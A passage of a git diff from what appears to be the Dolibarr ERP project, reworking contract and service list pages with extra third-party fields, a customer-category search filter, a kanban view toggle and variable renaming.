$obj->code_fournisseur; + $staticcompany->code_compta = $obj->code_compta; + $staticcompany->code_compta_fournisseur = $obj->code_compta_fournisseur; + $staticcompany->client = $obj->client; + $staticcompany->fournisseur = $obj->fournisseur; + print $staticcontrat->getNomUrl(1, 16); + //if (1 == 1) print img_warning($langs->trans("Late")); print ''; print ''; @@ -449,8 +478,6 @@ if ($resql) { } print ''; print ''; - $staticcompany->id = $obj->fk_soc; - $staticcompany->name = $obj->name; print $staticcompany->getNomUrl(1, '', 20); print ''; print ''; @@ -471,7 +498,7 @@ print '
      '; // Not activated services $sql = "SELECT c.ref, c.fk_soc, cd.rowid as cid, cd.statut, cd.label, cd.fk_product, cd.description as note, cd.fk_contrat,"; -$sql .= " s.nom as name,"; +$sql .= " s.nom as name, s.name_alias, s.logo, s.rowid as socid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur,"; $sql .= " p.rowid as pid, p.ref as pref, p.label as plabel, p.fk_product_type as ptype, p.entity as pentity"; $sql .= " FROM (".MAIN_DB_PREFIX."contrat as c"; $sql .= ", ".MAIN_DB_PREFIX."societe as s"; @@ -507,19 +534,32 @@ if ($resql) { while ($i < $num) { $obj = $db->fetch_object($resql); + $staticcompany->id = $obj->fk_soc; + $staticcompany->name = $obj->name; + $staticcompany->name_alias = $obj->name_alias; + $staticcompany->photo = 1; + $staticcompany->code_client = $obj->code_client; + $staticcompany->code_fournisseur = $obj->code_fournisseur; + $staticcompany->code_compta = $obj->code_compta; + $staticcompany->code_compta_fournisseur = $obj->code_compta_fournisseur; + $staticcompany->client = $obj->client; + $staticcompany->fournisseur = $obj->fournisseur; + + $staticcontrat->ref = ($obj->ref ? $obj->ref : $obj->fk_contrat); + $staticcontrat->id = $obj->fk_contrat; + + $productstatic->id = $obj->fk_product; + $productstatic->type = $obj->ptype; + $productstatic->ref = $obj->pref; + $productstatic->entity = $obj->pentity; + print ''; print ''; - $staticcontrat->ref = ($obj->ref ? $obj->ref : $obj->fk_contrat); - $staticcontrat->id = $obj->fk_contrat; print $staticcontrat->getNomUrl(1, 16); print ''; print ''; if ($obj->fk_product > 0) { - $productstatic->id = $obj->fk_product; - $productstatic->type = $obj->ptype; - $productstatic->ref = $obj->pref; - $productstatic->entity = $obj->pentity; print $productstatic->getNomUrl(1, '', 20); } else { print '
      '.img_object($langs->trans("ShowService"), "service"); @@ -531,8 +571,6 @@ if ($resql) { } print ''; print ''; - $staticcompany->id = $obj->fk_soc; - $staticcompany->name = $obj->name; print $staticcompany->getNomUrl(1, '', 20); print ''; print ''; @@ -553,7 +591,7 @@ print '
      '; // Expired services $sql = "SELECT c.ref, c.fk_soc, cd.rowid as cid, cd.statut, cd.label, cd.fk_product, cd.description as note, cd.fk_contrat,"; -$sql .= " s.nom as name,"; +$sql .= " s.nom as name, s.name_alias, s.logo, s.rowid as socid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur,"; $sql .= " p.rowid as pid, p.ref as pref, p.label as plabel, p.fk_product_type as ptype, p.entity as pentity"; $sql .= " FROM (".MAIN_DB_PREFIX."contrat as c"; $sql .= ", ".MAIN_DB_PREFIX."societe as s"; @@ -584,25 +622,38 @@ if ($resql) { print '
      '; print ''; - print ''; + print ''; print "\n"; while ($i < $num) { $obj = $db->fetch_object($resql); + $staticcompany->id = $obj->fk_soc; + $staticcompany->name = $obj->name; + $staticcompany->name_alias = $obj->name_alias; + $staticcompany->photo = 1; + $staticcompany->code_client = $obj->code_client; + $staticcompany->code_fournisseur = $obj->code_fournisseur; + $staticcompany->code_compta = $obj->code_compta; + $staticcompany->code_compta_fournisseur = $obj->code_compta_fournisseur; + $staticcompany->client = $obj->client; + $staticcompany->fournisseur = $obj->fournisseur; + + $staticcontrat->ref = ($obj->ref ? $obj->ref : $obj->fk_contrat); + $staticcontrat->id = $obj->fk_contrat; + + $productstatic->id = $obj->fk_product; + $productstatic->type = $obj->ptype; + $productstatic->ref = $obj->pref; + $productstatic->entity = $obj->pentity; + print ''; print ''; print ''; print ''; print '
      '.$langs->trans("ListOfExpiredServices").' '.$num.'
      '.$langs->trans("ListOfExpiredServices").' '.$num.'
      '; - $staticcontrat->ref = ($obj->ref ? $obj->ref : $obj->fk_contrat); - $staticcontrat->id = $obj->fk_contrat; print $staticcontrat->getNomUrl(1, 16); print ''; if ($obj->fk_product > 0) { - $productstatic->id = $obj->fk_product; - $productstatic->type = $obj->ptype; - $productstatic->ref = $obj->pref; - $productstatic->entity = $obj->pentity; print $productstatic->getNomUrl(1, '', 20); } else { print ''.img_object($langs->trans("ShowService"), "service"); @@ -614,8 +665,6 @@ if ($resql) { } print ''; - $staticcompany->id = $obj->fk_soc; - $staticcompany->name = $obj->name; print $staticcompany->getNomUrl(1, '', 20); print ''; diff --git a/htdocs/contrat/list.php b/htdocs/contrat/list.php index 65bb4fa8b08..50e26a55a68 100644 --- a/htdocs/contrat/list.php +++ b/htdocs/contrat/list.php @@ -38,6 +38,9 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +if (!empty($conf->categorie->enabled)) { + require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; +} // Load translation files required by the page $langs->loadLangs(array('contracts', 'products', 'companies', 'compta')); @@ -48,6 +51,8 @@ $show_files = GETPOST('show_files', 'int'); $confirm = GETPOST('confirm', 'alpha'); $toselect = GETPOST('toselect', 'array'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'contractlist'; // To manage different context of search +$optioncss = GETPOST('optioncss', 'alpha'); +$mode = GETPOST('mode', 'alpha'); $search_name = GETPOST('search_name', 'alpha'); $search_email = GETPOST('search_email', 'alpha'); @@ -59,7 +64,7 @@ $search_type_thirdparty = GETPOST("search_type_thirdparty", 'int'); $search_contract = GETPOST('search_contract', 'alpha'); $search_ref_customer = GETPOST('search_ref_customer', 'alpha'); $search_ref_supplier = GETPOST('search_ref_supplier', 'alpha'); -$sall = (GETPOST('search_all', 'alphanohtml') != '') ? GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml'); +$search_all = (GETPOST('search_all', 'alphanohtml') != '') ? GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml'); $search_status = GETPOST('search_status', 'alpha'); $socid = GETPOST('socid', 'int'); $search_user = GETPOST('search_user', 'int'); @@ -76,16 +81,23 @@ $search_date_endmonth = GETPOST('search_date_endmonth', 'int'); $search_date_endyear = GETPOST('search_date_endyear', 'int'); $search_date_start = dol_mktime(0, 0, 0, $search_date_startmonth, $search_date_startday, $search_date_startyear); // Use tzserver $search_date_end = dol_mktime(23, 59, 59, $search_date_endmonth, $search_date_endday, $search_date_endyear); +$searchCategoryCustomerOperator = 0; +if (GETPOSTISSET('formfilteraction')) { + $searchCategoryCustomerOperator = GETPOST('search_category_customer_operator', 'int'); +} elseif (!empty($conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT)) { + $searchCategoryCustomerOperator = $conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT; +} +$searchCategoryCustomerList = GETPOST('search_category_customer_list', 'array'); -$optioncss = GETPOST('optioncss', 'alpha'); - +// Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1) { +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -122,16 +134,25 @@ $extrafields->fetch_name_optionals_label($object->table_element); $search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); // List of fields to search into when doing a "search in all" -$fieldstosearchall = array( - 'c.ref'=>'Ref', - 'c.ref_customer'=>'RefCustomer', - 'c.ref_supplier'=>'RefSupplier', - 's.nom'=>"ThirdParty", - 'c.note_public'=>'NotePublic', -); +$fieldstosearchall = array(); +foreach ($object->fields as $key => $val) { + if (!empty($val['searchall'])) { + $fieldstosearchall['c.'.$key] = $val['label']; + } +} +$fieldstosearchall["s.nom"] = "ThirdParty"; if (empty($user->socid)) { $fieldstosearchall["c.note_private"] = "NotePrivate"; } +$parameters = array('fieldstosearchall'=>$fieldstosearchall); +$reshook = $hookmanager->executeHooks('completeFieldsToSearchAll', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook > 0) { + $fieldstosearchall = $hookmanager->resArray['fieldstosearchall']; +} elseif ($reshook == 0) { + if (!empty($hookmanager->resArray['fieldstosearchall'])) { + $fieldstosearchall = array_merge($fieldstosearchall, $hookmanager->resArray['fieldstosearchall']); + } +} $arrayfields = array( 'c.ref'=>array('label'=>$langs->trans("Ref"), 'checked'=>1, 'position'=>10), @@ -156,13 +177,18 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $object->fields = dol_sort_array($object->fields, 'position'); $arrayfields = dol_sort_array($arrayfields, 'position'); +$permissiontoread = $user->rights->contrat->lire; +$permissiontoadd = $user->rights->contrat->creer; +$permissiontodelete = $user->rights->contrat->supprimer; + /* - * Action + * Actions */ if (GETPOST('cancel', 'alpha')) { - $action = 'list'; $massaction = ''; + $action = 'list'; + $massaction = ''; } if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { $massaction = ''; @@ -202,18 +228,17 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' $search_date_endyear = ''; $search_date_start = ''; $search_date_end = ''; - $sall = ""; + $search_all = ""; $search_status = ""; $toselect = array(); $search_type_thirdparty = ''; + $searchCategoryCustomerList = array(); $search_array_options = array(); } if (empty($reshook)) { $objectclass = 'Contrat'; $objectlabel = 'Contracts'; - $permissiontoread = $user->rights->contrat->lire; - $permissiontodelete = $user->rights->contrat->supprimer; $uploaddir = $conf->contrat->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } @@ -223,13 +248,15 @@ if (empty($reshook)) { * View */ -$now = dol_now(); $form = new Form($db); $formfile = new FormFile($db); $formother = new FormOther($db); $socstatic = new Societe($db); $formcompany = new FormCompany($db); $contracttmp = new Contrat($db); + +$now = dol_now(); + $title = ""; $sql = 'SELECT'; @@ -253,6 +280,10 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."societe as s"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_country as country on (country.rowid = s.fk_pays)"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_typent as typent on (typent.id = s.fk_typent)"; @@ -313,8 +344,8 @@ if ($search_country && $search_country != '-1') { if ($search_sale > 0) { $sql .= " AND s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $search_sale); } -if ($sall) { - $sql .= natural_search(array_keys($fieldstosearchall), $sall); +if ($search_all) { + $sql .= natural_search(array_keys($fieldstosearchall), $search_all); } if ($search_user > 0) { $sql .= " AND ec.fk_c_type_contact = tc.rowid AND tc.element='contrat' AND tc.source='internal' AND ec.element_id = c.rowid AND ec.fk_socpeople = ".((int) $search_user); @@ -349,6 +380,50 @@ if (!empty($searchCategoryProductList)) { } } } +$searchCategoryCustomerSqlList = array(); +if ($searchCategoryCustomerOperator == 1) { + $existsCategoryCustomerList = array(); + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = s.rowid"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $existsCategoryCustomerList[] = $db->escape($searchCategoryCustomer); + } + } + if (!empty($existsCategoryCustomerList)) { + $sqlCategoryCustomerExists = " EXISTS ("; + $sqlCategoryCustomerExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerExists .= " WHERE cat_cus.fk_soc = s.rowid"; + $sqlCategoryCustomerExists .= " AND cat_cus.fk_categorie IN (".$db->sanitize(implode(',', $existsCategoryCustomerList)).")"; + $sqlCategoryCustomerExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerExists; + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' OR ', $searchCategoryCustomerSqlList).")"; + } +} else { + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = s.rowid"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $searchCategoryCustomerSqlList[] = "s.rowid IN (SELECT fk_soc FROM ".$db->prefix()."categorie_societe WHERE fk_categorie = ".((int) $searchCategoryCustomer).")"; + } + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' AND ', $searchCategoryCustomerSqlList).")"; + } +} // Add where from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks @@ -385,6 +460,7 @@ if (empty($reshook)) { } $sql .= $hookmanager->resPrint; +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { //$result = $db->query($sql); @@ -400,21 +476,28 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { } } } else { - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); - $sqlforcount = preg_replace('/LEFT JOIN '.MAIN_DB_PREFIX.'contratdet as cd ON c.rowid = cd.fk_contrat/', '', $sqlforcount); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/LEFT JOIN '.MAIN_DB_PREFIX.'contratdet as cd ON c.rowid = cd.fk_contrat /', '', $sqlforcount); $sqlforcount = preg_replace('/GROUP BY.*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); - $objforcount = $db->fetch_object($resql); - $nbtotalofrecords = $objforcount->nbtotalofrecords; + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } } if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } +// Complete request and execute it with limit $sql .= $db->order($sortfield, $sortorder); if ($limit) { $sql .= $db->plimit($limit + 1, $offset); @@ -429,7 +512,7 @@ if (!$resql) { $num = $db->num_rows($resql); // Direct jump if only one record found -if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $sall && !$page) { +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); $id = $obj->rowid; header("Location: ".DOL_URL_ROOT.'/contrat/card.php?id='.$id); @@ -455,14 +538,17 @@ if ($socid > 0) { } $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } -if ($sall != '') { - $param .= '&sall='.urlencode($sall); +if ($search_all != '') { + $param .= '&search_all='.urlencode($search_all); } if ($search_contract != '') { $param .= '&search_contract='.urlencode($search_contract); @@ -527,6 +613,9 @@ if ($show_files) { if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); } +foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + $param .= "&search_category_customer_list[]=".urlencode($searchCategoryCustomer); +} // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; @@ -536,10 +625,10 @@ $arrayofmassactions = array( 'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), 'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), ); -if ($user->rights->contrat->supprimer) { +if (!empty($permissiontodelete)) { $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); } -if (in_array($massaction, array('presend', 'predelete'))) { +if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { $arrayofmassactions = array(); } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); @@ -548,9 +637,12 @@ $url = DOL_URL_ROOT.'/contrat/card.php?action=create'; if (!empty($socid)) { $url .= '&socid='.((int) $socid); } -$newcardbutton = dolGetButtonTitle($langs->trans('NewContractSubscription'), '', 'fa fa-plus-circle', $url, '', $user->rights->contrat->creer); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewContractSubscription'), '', 'fa fa-plus-circle', $url, '', $user->rights->contrat->creer); -print ''; +print ''."\n"; if ($optioncss != '') { print ''; } @@ -559,9 +651,12 @@ print ''; print ''; print ''; +print ''; print ''; +print ''; +print ''; -print_barre_liste($langs->trans("ListOfContracts"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'contract', 0, $newcardbutton, '', $limit, 0, 0, 1); +print_barre_liste($langs->trans("Contracts"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'contract', 0, $newcardbutton, '', $limit, 0, 0, 1); $topicmail = "SendContractRef"; $modelmail = "contract"; @@ -569,11 +664,14 @@ $objecttmp = new Contrat($db); $trackid = 'con'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; -if ($sall) { +if ($search_all) { + $setupstring = ''; foreach ($fieldstosearchall as $key => $val) { $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } - print '
      '.$langs->trans("FilterOnInto", $sall).join(', ', $fieldstosearchall).'
      '; + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } $moreforfilter = ''; @@ -602,6 +700,18 @@ if (isModEnabled('categorie') && $user->rights->categorie->lire && ($user->right $moreforfilter .= img_picto($tmptitle, 'category', 'class="pictofixedwidth"').$form->selectarray('search_product_category', $cate_arbo, $search_product_category, $tmptitle, 0, 0, '', 0, 0, 0, 0, 'widthcentpercentminusx maxwidth300', 1); $moreforfilter .= ''; } +// Filter on customer categories +if (!empty($conf->global->MAIN_SEARCH_CATEGORY_CUSTOMER_ON_CONTRACT_LIST) && !empty($conf->categorie->enabled) && $user->rights->categorie->lire) { + $moreforfilter .= '
      '; + $tmptitle = $langs->transnoentities('CustomersProspectsCategoriesShort'); + $moreforfilter .= img_picto($tmptitle, 'category', 'class="pictofixedwidth"'); + $categoriesArr = $form->select_all_categories(Categorie::TYPE_CUSTOMER, '', '', 64, 0, 1); + $categoriesArr[-2] = '- '.$langs->trans('NotCategorized').' -'; + $moreforfilter .= Form::multiselectarray('search_category_customer_list', $categoriesArr, $searchCategoryCustomerList, 0, 0, 'minwidth300', 0, 0, '', 'category', $tmptitle); + $moreforfilter .= ' '; + $moreforfilter .= $form->textwithpicto('', $langs->trans('UseOrOperatorForCategories') . ' : ' . $tmptitle, 1, 'help', '', 0, 2, 'tooltip_cat_cus'); // Tooltip on click + $moreforfilter .= '
      '; +} $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook @@ -618,7 +728,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields if ($massactionbutton) { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } @@ -626,7 +736,16 @@ if ($massactionbutton) { print '
      '; print ''."\n"; +// Fields title search +// -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} if (!empty($arrayfields['c.ref']['checked'])) { print ''; } -print ''; -print "\n"; +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} +print ''."\n"; + +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); + $totalarray['nbfield']++; // For the column action +} if (!empty($arrayfields['c.ref']['checked'])) { print_liste_field_titre($arrayfields['c.ref']['label'], $_SERVER["PHP_SELF"], "c.ref", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['c.ref_customer']['checked'])) { print_liste_field_titre($arrayfields['c.ref_customer']['label'], $_SERVER["PHP_SELF"], "c.ref_customer", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['c.ref_supplier']['checked'])) { print_liste_field_titre($arrayfields['c.ref_supplier']['label'], $_SERVER["PHP_SELF"], "c.ref_supplier", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['s.nom']['checked'])) { print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], "s.nom", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['s.email']['checked'])) { print_liste_field_titre($arrayfields['s.email']['label'], $_SERVER["PHP_SELF"], "s.email", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['s.town']['checked'])) { print_liste_field_titre($arrayfields['s.town']['label'], $_SERVER["PHP_SELF"], 's.town', '', $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['s.zip']['checked'])) { print_liste_field_titre($arrayfields['s.zip']['label'], $_SERVER["PHP_SELF"], 's.zip', '', $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['state.nom']['checked'])) { print_liste_field_titre($arrayfields['state.nom']['label'], $_SERVER["PHP_SELF"], "state.nom", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['country.code_iso']['checked'])) { print_liste_field_titre($arrayfields['country.code_iso']['label'], $_SERVER["PHP_SELF"], "country.code_iso", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['typent.code']['checked'])) { print_liste_field_titre($arrayfields['typent.code']['label'], $_SERVER["PHP_SELF"], "typent.code", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['sale_representative']['checked'])) { print_liste_field_titre($arrayfields['sale_representative']['label'], $_SERVER["PHP_SELF"], "", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['c.date_contrat']['checked'])) { print_liste_field_titre($arrayfields['c.date_contrat']['label'], $_SERVER["PHP_SELF"], "c.date_contrat", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; // For the column action } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; if (!empty($arrayfields['c.datec']['checked'])) { print_liste_field_titre($arrayfields['c.datec']['label'], $_SERVER["PHP_SELF"], "c.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['c.tms']['checked'])) { print_liste_field_titre($arrayfields['c.tms']['label'], $_SERVER["PHP_SELF"], "c.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['lower_planned_end_date']['checked'])) { print_liste_field_titre($arrayfields['lower_planned_end_date']['label'], $_SERVER["PHP_SELF"], "lower_planned_end_date", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; // For the column action } if (!empty($arrayfields['status']['checked'])) { print_liste_field_titre($staticcontratligne->LibStatut(0, 3, -1, 'class="nochangebackground"'), '', '', '', '', 'width="16"'); + $totalarray['nbfield']++; // For the column action print_liste_field_titre($staticcontratligne->LibStatut(4, 3, 0, 'class="nochangebackground"'), '', '', '', '', 'width="16"'); + $totalarray['nbfield']++; // For the column action print_liste_field_titre($staticcontratligne->LibStatut(4, 3, 1, 'class="nochangebackground"'), '', '', '', '', 'width="16"'); + $totalarray['nbfield']++; // For the column action print_liste_field_titre($staticcontratligne->LibStatut(5, 3, -1, 'class="nochangebackground"'), '', '', '', '', 'width="16"'); + $totalarray['nbfield']++; // For the column action +} +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); + $totalarray['nbfield']++; // For the column action } -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); print "\n"; +// Loop on record +// -------------------------------------------------------------------- +$i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; $typenArray = array(); $cacheCountryIDCode = array(); - -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } $contracttmp->ref = $obj->ref; $contracttmp->id = $obj->rowid; @@ -824,198 +985,241 @@ while ($i < min($num, $limit)) { $socstatic->country = $cacheCountryIDCode[$obj->country_id]['label']; } - - print ''; - - // Ref - if (!empty($arrayfields['c.ref']['checked'])) { - print ''; } - - $filename = dol_sanitizeFileName($obj->ref); - $filedir = $conf->contrat->multidir_output[$obj->entity].'/'.dol_sanitizeFileName($obj->ref); - $urlsource = $_SERVER['PHP_SELF'].'?id='.$obj->rowid; - print $formfile->getDocumentsLink($contracttmp->element, $filename, $filedir); - print ''; - - print ''; - } - - // Ref thirdparty - if (!empty($arrayfields['c.ref_customer']['checked'])) { - print ''; - } - if (!empty($arrayfields['c.ref_supplier']['checked'])) { - print ''; - } - if (!empty($arrayfields['s.nom']['checked'])) { - print ''; - } - // Email - if (!empty($arrayfields['s.email']['checked'])) { - print ''; - } - // Town - if (!empty($arrayfields['s.town']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Zip - if (!empty($arrayfields['s.zip']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // State - if (!empty($arrayfields['state.nom']['checked'])) { - print "\n"; 